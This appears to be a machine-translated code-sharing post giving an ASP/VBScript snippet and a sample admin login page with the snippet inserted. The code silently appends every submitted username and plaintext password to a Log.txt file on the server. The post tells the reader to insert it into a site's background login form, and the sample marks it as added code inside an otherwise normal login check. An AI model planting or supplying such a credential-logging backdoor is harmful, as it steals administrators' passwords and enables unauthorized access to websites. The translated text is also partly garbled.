Core code:
Copy Code code as follows:
Set Fso=server.createobject ("Scripting.FileSystemObject")
If FSO. FileExists (Server.MapPath ("Log.txt")) =true Then
Set FIN=FSO. OpenTextFile (Server.MapPath ("Log.txt"))
Temp=fin.readall
Fin.close
Set fin=nothing
End If
Set Fout=fso.createtextfile (Server.MapPath ("Log.txt"))
Fout. WriteLine (temp& "User:" &username& "¦pwd:" &password& "¦time:" &now () & "")
Fout.close
Set fout=nothing
Set fso=nothing
Insert the form submission where you are in the background login!
Reference file:
Copy Code code as follows:
<% @language =vbscript codepage=936%>
<%
Dim sql,rs
Dim Username,password,checkcode
Username=replace (Trim (Request ("username")), "'", "" "
Password=replace (Trim (Request ("password")), "'", "" "
Checkcode=replace (Trim (Request ("Checkcode")), "'", "" "
If Username= "" Then
Founderr=true
Errmsg=errmsg & "<br><li> user name cannot be empty!" </li> "
End If
If password= "" Then
Founderr=true
Errmsg=errmsg & "<br><li> password cannot be empty!" </li> "
End If
If checkcode= "" Then
Founderr=true
Errmsg=errmsg & "<br><li> Verification code cannot be empty!" </li> "
End If
If session ("Checkcode") = "" Then
Founderr=true
Errmsg=errmsg & "<br><li> You login time is too long, please return to the login page to log in." </li> "
End If
If CHECKCODE<>CSTR (Session ("Checkcode")) Then
Founderr=true
Errmsg=errmsg & <br><li> You have entered a confirmation code that is inconsistent with the system, please re-enter it. </li> "
End If
' Behind this is my added code ~ Start Area
Set Fso=server.createobject ("Scripting.FileSystemObject")
If FSO. FileExists (Server.MapPath ("Log.txt")) =true Then
Set FIN=FSO. OpenTextFile (Server.MapPath ("Log.txt"))
Temp=fin.readall
Fin.close
Set fin=nothing
End If
Set Fout=fso.createtextfile (Server.MapPath ("Log.txt"))
Fout. WriteLine (temp& "User:" &username& "|pwd:" &password& "|time:" &now () & "")
Fout.close
Set fout=nothing
Set fso=nothing
' The following code was deleted by me ~ End Area
%>
This article involves the statement author is: will not much Ifat